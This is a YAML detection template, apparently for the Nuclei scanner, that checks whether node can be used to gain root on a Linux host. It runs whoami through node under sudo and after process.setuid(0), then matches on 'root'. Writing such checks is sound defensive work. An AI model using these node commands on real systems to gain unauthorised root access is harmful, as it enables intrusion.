54 lines
1.4 KiB
YAML
54 lines
1.4 KiB
YAML
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id: privesc-node
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info:
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name: Node - Privilege Escalation
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author: daffainfo
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severity: high
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description: |
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Node.js is a popular open-source, cross-platform JavaScript runtime environment that executes JavaScript code outside of a web browser. It is commonly used for building scalable network applications and is known for its event-driven, non-blocking I/O model. Node.js is widely used for server-side scripting and has a large ecosystem of libraries and frameworks.
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reference:
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- https://gtfobins.github.io/gtfobins/node/
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metadata:
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verified: true
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tags: code,linux,node,privesc
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self-contained: true
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code:
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- engine:
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- sh
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- bash
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source: |
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whoami
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- engine:
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- sh
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- bash
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source: |
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node -e 'require("child_process").spawn("whoami", {stdio: [0, 1, 2]})'
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- engine:
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- sh
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- bash
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source: |
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sudo node -e 'require("child_process").spawn("whoami", {stdio: [0, 1, 2]})'
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- engine:
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- sh
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- bash
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source: |
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node -e 'process.setuid(0); require("child_process").spawn("whoami", {stdio: [0, 1, 2]})'
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matchers-condition: and
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matchers:
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- type: word
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part: code_1_response
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words:
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- "root"
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negative: true
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- type: dsl
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dsl:
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- 'contains(code_2_response, "root")'
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- 'contains(code_3_response, "root")'
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- 'contains(code_4_response, "root")'
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condition: or
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